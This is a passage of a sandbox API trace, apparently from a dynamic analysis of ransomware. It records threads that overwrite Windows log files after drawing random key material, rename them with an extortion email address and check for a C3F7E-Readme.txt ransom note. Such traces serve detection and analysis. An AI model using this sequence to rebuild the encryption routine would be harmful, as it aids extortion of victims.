	[0083.434] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4883848) returned 1
	[0083.434] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4877040) returned 1
	[0083.434] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04090) returned 1
	[0083.434] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfb030) returned 1
	[0083.434] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x39) returned 0x2dfabf8
	[0083.434] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33f78) returned 1
	[0083.434] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x39) returned 0x2dfab68
	[0083.434] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33eb0
	[0083.434] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33ed8
	[0083.434] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33ed8) returned 1
	[0083.434] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04090) returned 1
	[0083.434] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfaad8) returned 1
	[0083.434] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x11d) returned 0x2d62e78
	[0083.434] SetFilePointerEx (in: hFile=0x16ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0083.434] WriteFile (in: hFile=0x16ec, lpBuffer=0x2d62e78*, nNumberOfBytesToWrite=0x11d, lpNumberOfBytesWritten=0x2753fb88, lpOverlapped=0x0 | out: lpBuffer=0x2d62e78*, lpNumberOfBytesWritten=0x2753fb88*=0x11d, lpOverlapped=0x0) returned 1
	[0083.439] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d62e78) returned 1
	[0083.439] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfab68) returned 1
	[0083.439] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33eb0) returned 1
	[0083.439] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfabf8) returned 1
	[0083.439] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33e10) returned 1
	[0083.439] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33e88) returned 1
	[0083.439] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33d98) returned 1
	[0083.439] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33d20) returned 1
	[0083.439] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xb0) returned 0x481a8c8
	[0083.439] wcscpy (in: _Dest=0x481a8c8, _Source="C:\\ProgramData\\USOShared\\Logs\\NotificationUx.002.etl" | out: _Dest="C:\\ProgramData\\USOShared\\Logs\\NotificationUx.002.etl") returned="C:\\ProgramData\\USOShared\\Logs\\NotificationUx.002.etl"
	[0083.439] wcscat (in: _Dest=0x481a8c8, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\ProgramData\\USOShared\\Logs\\NotificationUx.002.etl.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\ProgramData\\USOShared\\Logs\\NotificationUx.002.etl.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0083.439] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\ProgramData\\USOShared\\Logs\\NotificationUx.002.etl.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0x2753fb40, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\ProgramData\\USOShared\\Logs\\NotificationUx.002.etl.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0083.439] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc6) returned 0x47192c0
	[0083.439] NtSetInformationFile (FileHandle=0x16ec, IoStatusBlock=0x2753fb38, FileInformation=0x47192c0, Length=0xc6, FileInformationClass=0xa) returned 0x0
	[0083.440] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47192c0) returned 1
	[0083.440] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47c8920) returned 1
	[0083.440] NtQueryInformationFile (in: FileHandle=0x16ec, IoStatusBlock=0x2753fb4c, FileInformation=0x2753fb24, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2753fb4c, FileInformation=0x2753fb24) returned 0x0
	[0083.440] NtSetInformationFile (FileHandle=0x16ec, IoStatusBlock=0x2753fb4c, FileInformation=0x2753fb24, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0083.441] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x481a8c8) returned 1
	[0083.441] FlushFileBuffers (hFile=0x16ec) returned 1
	[0083.443] CloseHandle (hObject=0x16ec) returned 1
	[0083.444] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x60) returned 0x4780cc0
	[0083.444] wcscpy (in: _Dest=0x4780cc0, _Source="C:\\ProgramData\\USOShared\\Logs\\" | out: _Dest="C:\\ProgramData\\USOShared\\Logs\\") returned="C:\\ProgramData\\USOShared\\Logs\\"
	[0083.444] wcscat (in: _Dest=0x4780cc0, _Source="C3F7E-Readme.txt" | out: _Dest="C:\\ProgramData\\USOShared\\Logs\\C3F7E-Readme.txt") returned="C:\\ProgramData\\USOShared\\Logs\\C3F7E-Readme.txt"
	[0083.445] GetFileAttributesW (lpFileName="C:\\ProgramData\\USOShared\\Logs\\C3F7E-Readme.txt" (normalized: "c:\\programdata\\usoshared\\logs\\c3f7e-readme.txt")) returned 0x2020
	[0083.445] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4780cc0) returned 1
	[0083.445] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4753e30) returned 1

Thread:
	id = 1118
	os_tid = 0x1de8

	[0083.432] GetFileAttributesW (lpFileName="C:\\ProgramData\\USOShared\\Logs\\NotificationUxBroker.001.etl" (normalized: "c:\\programdata\\usoshared\\logs\\notificationuxbroker.001.etl")) returned 0x2020
	[0085.481] SetFileAttributesW (lpFileName="C:\\ProgramData\\USOShared\\Logs\\NotificationUxBroker.001.etl", dwFileAttributes=0x20) returned 1
	[0085.482] CreateFileW (lpFileName="C:\\ProgramData\\USOShared\\Logs\\NotificationUxBroker.001.etl" (normalized: "c:\\programdata\\usoshared\\logs\\notificationuxbroker.001.etl"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1840
	[0085.482] GetFileSizeEx (in: hFile=0x1840, lpFileSize=0x275bfd90 | out: lpFileSize=0x275bfd90*=8192) returned 1
	[0085.482] SetFilePointerEx (in: hFile=0x1840, liDistanceToMove=0x1ffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0085.482] ReadFile (in: hFile=0x1840, lpBuffer=0x275bfd14, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x275bfd10, lpOverlapped=0x0 | out: lpBuffer=0x275bfd14*, lpNumberOfBytesRead=0x275bfd10*=0x4, lpOverlapped=0x0) returned 1
	[0085.483] SetFilePointerEx (in: hFile=0x1840, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0085.483] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781918
	[0085.483] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781940
	[0085.483] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781ad0
	[0085.483] NtQuerySystemTime (in: CurrentTime=0x275bfcf0 | out: CurrentTime=0x275bfcf0*=132251868122181856) returned 0x0
	[0085.483] RtlRandom (in: Seed=0x275bfcfc | out: Seed=0x275bfcfc) returned 0xee016fb7
	[0085.483] RtlRandom (in: Seed=0x275bfcfc | out: Seed=0x275bfcfc) returned 0xb09d7d4f
	[0085.483] RtlRandom (in: Seed=0x275bfcfc | out: Seed=0x275bfcfc) returned 0x572ce54d
	[0085.483] RtlRandom (in: Seed=0x275bfcfc | out: Seed=0x275bfcfc) returned 0x845e4fc8
	[0085.483] RtlRandom (in: Seed=0x275bfcfc | out: Seed=0x275bfcfc) returned 0x9017c2d4
	[0085.483] RtlRandom (in: Seed=0x275bfcfc | out: Seed=0x275bfcfc) returned 0xa5066fdb
	[0085.483] RtlRandom (in: Seed=0x275bfcfc | out: Seed=0x275bfcfc) returned 0x41ad0d8b
	[0085.484] RtlRandom (in: Seed=0x275bfcfc | out: Seed=0x275bfcfc) returned 0xaa4953db
	[0085.484] RtlRandom (in: Seed=0x275bfcfc | out: Seed=0x275bfcfc) returned 0xddf3dcc4
	[0085.484] RtlRandom (in: Seed=0x275bfcfc | out: Seed=0x275bfcfc) returned 0x7c8a927f
	[0085.484] RtlRandom (in: Seed=0x275bfcfc | out: Seed=0x275bfcfc) returned 0x2e4b1529
	[0085.484] RtlRandom (in: Seed=0x275bfcfc | out: Seed=0x275bfcfc) returned 0x3c0aaf5
	[0085.484] RtlRandom (in: Seed=0x275bfcfc | out: Seed=0x275bfcfc) returned 0xfe9edd26
	[0085.484] RtlRandom (in: Seed=0x275bfcfc | out: Seed=0x275bfcfc) returned 0xf10596e
	[0085.484] RtlRandom (in: Seed=0x275bfcfc | out: Seed=0x275bfcfc) returned 0x638afa73
	[0085.484] RtlRandom (in: Seed=0x275bfcfc | out: Seed=0x275bfcfc) returned 0xcd1616d9
	[0085.484] RtlRandom (in: Seed=0x275bfcfc | out: Seed=0x275bfcfc) returned 0x64c39564
	[0085.484] RtlRandom (in: Seed=0x275bfcfc | out: Seed=0x275bfcfc) returned 0x32653a9d
	[0085.484] RtlRandom (in: Seed=0x275bfcfc | out: Seed=0x275bfcfc) returned 0x55a1d8a4
	[0085.484] RtlRandom (in: Seed=0x275bfcfc | out: Seed=0x275bfcfc) returned 0x710c2a7b
	[0085.484] RtlRandom (in: Seed=0x275bfcfc | out: Seed=0x275bfcfc) returned 0x22a0f0c3
	[0085.484] RtlRandom (in: Seed=0x275bfcfc | out: Seed=0x275bfcfc) returned 0xcb264ba0
	[0085.484] RtlRandom (in: Seed=0x275bfcfc | out: Seed=0x275bfcfc) returned 0x6ee9453c
	[0085.484] RtlRandom (in: Seed=0x275bfcfc | out: Seed=0x275bfcfc) returned 0xaea03485
	[0085.484] RtlRandom (in: Seed=0x275bfcfc | out: Seed=0x275bfcfc) returned 0x731ebb21
	[0085.484] RtlRandom (in: Seed=0x275bfcfc | out: Seed=0x275bfcfc) returned 0xb6a9ad0e
	[0085.484] RtlRandom (in: Seed=0x275bfcfc | out: Seed=0x275bfcfc) returned 0x181e155a
	[0085.484] RtlRandom (in: Seed=0x275bfcfc | out: Seed=0x275bfcfc) returned 0x61b00e65
	[0085.484] RtlRandom (in: Seed=0x275bfcfc | out: Seed=0x275bfcfc) returned 0x85ccb2b8
	[0085.484] RtlRandom (in: Seed=0x275bfcfc | out: Seed=0x275bfcfc) returned 0x3567f312
	[0085.484] RtlRandom (in: Seed=0x275bfcfc | out: Seed=0x275bfcfc) returned 0xa0a3c8de
	[0085.484] RtlRandom (in: Seed=0x275bfcfc | out: Seed=0x275bfcfc) returned 0x1608a197
	[0085.492] ReadFile (in: hFile=0x1840, lpBuffer=0x47db828, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x275bfcec, lpOverlapped=0x0 | out: lpBuffer=0x47db828*, lpNumberOfBytesRead=0x275bfcec*=0x2000, lpOverlapped=0x0) returned 1
	[0085.493] SetFilePointerEx (in: hFile=0x1840, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0085.493] WriteFile (in: hFile=0x1840, lpBuffer=0x500d818*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x275bfce8, lpOverlapped=0x0 | out: lpBuffer=0x500d818*, lpNumberOfBytesWritten=0x275bfce8*=0x2000, lpOverlapped=0x0) returned 1
	[0085.495] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781918
	[0085.495] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781968
	[0085.495] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781968) returned 1
	[0085.495] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x500d818) returned 1
	[0085.495] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47db828) returned 1
	[0085.495] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04090) returned 1
	[0085.495] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfb1e0) returned 1
	[0085.495] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x45) returned 0x4776060
	[0085.495] SetFilePointerEx (in: hFile=0x1840, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0085.495] WriteFile (in: hFile=0x1840, lpBuffer=0x4ebca00*, nNumberOfBytesToWrite=0x129, lpNumberOfBytesWritten=0x275bfd50, lpOverlapped=0x0 | out: lpBuffer=0x4ebca00*, lpNumberOfBytesWritten=0x275bfd50*=0x129, lpOverlapped=0x0) returned 1
	[0085.503] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4ebca00) returned 1
	[0085.503] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4775ed0) returned 1
	[0085.503] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781990) returned 1
	[0085.503] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4776060) returned 1
	[0085.503] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781918) returned 1
	[0085.503] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781940) returned 1
	[0085.503] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47819b8) returned 1
	[0085.503] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781878) returned 1
	[0085.503] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xbc) returned 0x4924bb8
	[0085.503] wcscpy (in: _Dest=0x4924bb8, _Source="C:\\ProgramData\\USOShared\\Logs\\NotificationUxBroker.001.etl" | out: _Dest="C:\\ProgramData\\USOShared\\Logs\\NotificationUxBroker.001.etl") returned="C:\\ProgramData\\USOShared\\Logs\\NotificationUxBroker.001.etl"
	[0085.503] wcscat (in: _Dest=0x4924bb8, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\ProgramData\\USOShared\\Logs\\NotificationUxBroker.001.etl.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\ProgramData\\USOShared\\Logs\\NotificationUxBroker.001.etl.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0085.503] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\ProgramData\\USOShared\\Logs\\NotificationUxBroker.001.etl.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0x275bfd08, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\ProgramData\\USOShared\\Logs\\NotificationUxBroker.001.etl.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0085.503] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xd2) returned 0x2e44980
	[0085.504] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e44980) returned 1
	[0085.504] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47ea3a0) returned 1
	[0085.504] NtQueryInformationFile (in: FileHandle=0x1840, IoStatusBlock=0x275bfd14, FileInformation=0x275bfcec, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x275bfd14, FileInformation=0x275bfcec) returned 0x0
	[0085.504] NtSetInformationFile (FileHandle=0x1840, IoStatusBlock=0x275bfd14, FileInformation=0x275bfcec, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0085.505] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4924bb8) returned 1
	[0085.505] FlushFileBuffers (hFile=0x1840) returned 1
	[0093.058] CloseHandle (hObject=0x1840) returned 1
	[0093.058] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x60) returned 0x4733a70
	[0093.058] wcscpy (in: _Dest=0x4733a70, _Source="C:\\ProgramData\\USOShared\\Logs\\" | out: _Dest="C:\\ProgramData\\USOShared\\Logs\\") returned="C:\\ProgramData\\USOShared\\Logs\\"
	[0093.058] wcscat (in: _Dest=0x4733a70, _Source="C3F7E-Readme.txt" | out: _Dest="C:\\ProgramData\\USOShared\\Logs\\C3F7E-Readme.txt") returned="C:\\ProgramData\\USOShared\\Logs\\C3F7E-Readme.txt"
	[0093.060] GetFileAttributesW (lpFileName="C:\\ProgramData\\USOShared\\Logs\\C3F7E-Readme.txt" (normalized: "c:\\programdata\\usoshared\\logs\\c3f7e-readme.txt")) returned 0x2020
	[0093.060] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4733a70) returned 1
	[0093.060] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47bcd90) returned 1

Thread:
	id = 1119
	os_tid = 0x1dec

	[0083.446] GetFileAttributesW (lpFileName="C:\\ProgramData\\USOShared\\Logs\\NotificationUxBroker.002.etl" (normalized: "c:\\programdata\\usoshared\\logs\\notificationuxbroker.002.etl")) returned 0x2020
	[0083.448] SetFileAttributesW (lpFileName="C:\\ProgramData\\USOShared\\Logs\\NotificationUxBroker.002.etl", dwFileAttributes=0x20) returned 1
	[0083.448] CreateFileW (lpFileName="C:\\ProgramData\\USOShared\\Logs\\NotificationUxBroker.002.etl" (normalized: "c:\\programdata\\usoshared\\logs\\notificationuxbroker.002.etl"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x16ec
	[0083.448] GetFileSizeEx (in: hFile=0x16ec, lpFileSize=0x2763f888 | out: lpFileSize=0x2763f888*=8192) returned 1
	[0083.448] SetFilePointerEx (in: hFile=0x16ec, liDistanceToMove=0x1ffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0083.448] ReadFile (in: hFile=0x16ec, lpBuffer=0x2763f80c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2763f808, lpOverlapped=0x0 | out: lpBuffer=0x2763f80c*, lpNumberOfBytesRead=0x2763f808*=0x4, lpOverlapped=0x0) returned 1
	[0083.449] SetFilePointerEx (in: hFile=0x16ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0083.450] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33e10
	[0083.450] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33e88
	[0083.450] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33f00
	[0083.450] NtQuerySystemTime (in: CurrentTime=0x2763f7e8 | out: CurrentTime=0x2763f7e8*=132251868101869163) returned 0x0
	[0083.450] RtlRandom (in: Seed=0x2763f7f4 | out: Seed=0x2763f7f4) returned 0xb42beb
	[0083.450] RtlRandom (in: Seed=0x2763f7f4 | out: Seed=0x2763f7f4) returned 0x6a5249c8
	[0083.450] RtlRandom (in: Seed=0x2763f7f4 | out: Seed=0x2763f7f4) returned 0x5bf508be
	[0083.450] RtlRandom (in: Seed=0x2763f7f4 | out: Seed=0x2763f7f4) returned 0x9dfc68d9
	[0083.450] RtlRandom (in: Seed=0x2763f7f4 | out: Seed=0x2763f7f4) returned 0x2ea8b6e1
	[0083.450] RtlRandom (in: Seed=0x2763f7f4 | out: Seed=0x2763f7f4) returned 0xb67da1ff
	[0083.450] RtlRandom (in: Seed=0x2763f7f4 | out: Seed=0x2763f7f4) returned 0x98c444fe
	[0083.450] RtlRandom (in: Seed=0x2763f7f4 | out: Seed=0x2763f7f4) returned 0xb74cafa4
	[0083.450] RtlRandom (in: Seed=0x2763f7f4 | out: Seed=0x2763f7f4) returned 0xbcccedb4
	[0083.450] RtlRandom (in: Seed=0x2763f7f4 | out: Seed=0x2763f7f4) returned 0x17923295
	[0083.450] RtlRandom (in: Seed=0x2763f7f4 | out: Seed=0x2763f7f4) returned 0xd3cbe46
	[0083.450] RtlRandom (in: Seed=0x2763f7f4 | out: Seed=0x2763f7f4) returned 0x3e5143da
	[0083.450] RtlRandom (in: Seed=0x2763f7f4 | out: Seed=0x2763f7f4) returned 0x4cf7de20
	[0083.450] RtlRandom (in: Seed=0x2763f7f4 | out: Seed=0x2763f7f4) returned 0x7ad52cca
	[0083.450] RtlRandom (in: Seed=0x2763f7f4 | out: Seed=0x2763f7f4) returned 0x190614de
	[0083.450] RtlRandom (in: Seed=0x2763f7f4 | out: Seed=0x2763f7f4) returned 0xc1cf10d
	[0083.450] RtlRandom (in: Seed=0x2763f7f4 | out: Seed=0x2763f7f4) returned 0x8dcec542
	[0083.450] RtlRandom (in: Seed=0x2763f7f4 | out: Seed=0x2763f7f4) returned 0x6810951b
	[0083.450] RtlRandom (in: Seed=0x2763f7f4 | out: Seed=0x2763f7f4) returned 0x783fddfc
	[0083.450] RtlRandom (in: Seed=0x2763f7f4 | out: Seed=0x2763f7f4) returned 0x48636b21
	[0083.450] RtlRandom (in: Seed=0x2763f7f4 | out: Seed=0x2763f7f4) returned 0xb477a4c7
	[0083.450] RtlRandom (in: Seed=0x2763f7f4 | out: Seed=0x2763f7f4) returned 0x743e8a6e
	[0083.450] RtlRandom (in: Seed=0x2763f7f4 | out: Seed=0x2763f7f4) returned 0xf042ac5c
	[0083.450] RtlRandom (in: Seed=0x2763f7f4 | out: Seed=0x2763f7f4) returned 0xc3cc4bc0
	[0083.450] RtlRandom (in: Seed=0x2763f7f4 | out: Seed=0x2763f7f4) returned 0xeccafd2f
	[0083.450] RtlRandom (in: Seed=0x2763f7f4 | out: Seed=0x2763f7f4) returned 0xc51932c2
	[0083.450] RtlRandom (in: Seed=0x2763f7f4 | out: Seed=0x2763f7f4) returned 0x8e19dc3f
	[0083.450] RtlRandom (in: Seed=0x2763f7f4 | out: Seed=0x2763f7f4) returned 0x81d9bc80
	[0083.450] RtlRandom (in: Seed=0x2763f7f4 | out: Seed=0x2763f7f4) returned 0xbb21428a
	[0083.450] RtlRandom (in: Seed=0x2763f7f4 | out: Seed=0x2763f7f4) returned 0x16714d0d
	[0083.450] RtlRandom (in: Seed=0x2763f7f4 | out: Seed=0x2763f7f4) returned 0x91a5469d
	[0083.450] RtlRandom (in: Seed=0x2763f7f4 | out: Seed=0x2763f7f4) returned 0xf7f5e8ee
	[0083.459] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e044c8) returned 1
	[0083.459] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33f00) returned 1
	[0083.459] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33e10) returned 1
	[0083.459] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfb030
	[0083.459] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2e04090
	[0083.459] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33f00
	[0083.459] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33f00) returned 1
	[0083.459] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x4877040
	[0083.459] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x4883848
	[0083.459] ReadFile (in: hFile=0x16ec, lpBuffer=0x4877040, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2763f7e4, lpOverlapped=0x0 | out: lpBuffer=0x4877040*, lpNumberOfBytesRead=0x2763f7e4*=0x2000, lpOverlapped=0x0) returned 1
	[0083.460] SetFilePointerEx (in: hFile=0x16ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0083.460] WriteFile (in: hFile=0x16ec, lpBuffer=0x4883848*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x2763f7e0, lpOverlapped=0x0 | out: lpBuffer=0x4883848*, lpNumberOfBytesWritten=0x2763f7e0*=0x2000, lpOverlapped=0x0) returned 1
	[0083.461] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33e10
	[0083.461] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33eb0
	[0083.461] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33eb0) returned 1
	[0083.461] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4883848) returned 1
	[0083.461] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4877040) returned 1
	[0083.461] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04090) returned 1
	[0083.461] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfb030) returned 1
	[0083.461] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x45) returned 0x4776010
	[0083.461] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33f78) returned 1
	[0083.461] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x45) returned 0x4775f70
	[0083.461] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33eb0
	[0083.461] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33ed8
	[0083.461] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33ed8) returned 1
	[0083.461] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04090) returned 1
	[0083.461] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfaad8) returned 1
	[0083.461] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x129) returned 0x2d62e78
	[0083.462] SetFilePointerEx (in: hFile=0x16ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0083.462] WriteFile (in: hFile=0x16ec, lpBuffer=0x2d62e78*, nNumberOfBytesToWrite=0x129, lpNumberOfBytesWritten=0x2763f848, lpOverlapped=0x0 | out: lpBuffer=0x2d62e78*, lpNumberOfBytesWritten=0x2763f848*=0x129, lpOverlapped=0x0) returned 1
	[0083.463] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d62e78) returned 1
	[0083.463] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4775f70) returned 1
	[0083.463] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33eb0) returned 1
	[0083.463] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4776010) returned 1
	[0083.463] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33e10) returned 1
	[0083.463] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33e88) returned 1
	[0083.463] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33d98) returned 1
	[0083.463] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33d20) returned 1
	[0083.463] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xbc) returned 0x4925518
	[0083.464] wcscpy (in: _Dest=0x4925518, _Source="C:\\ProgramData\\USOShared\\Logs\\NotificationUxBroker.002.etl" | out: _Dest="C:\\ProgramData\\USOShared\\Logs\\NotificationUxBroker.002.etl") returned="C:\\ProgramData\\USOShared\\Logs\\NotificationUxBroker.002.etl"
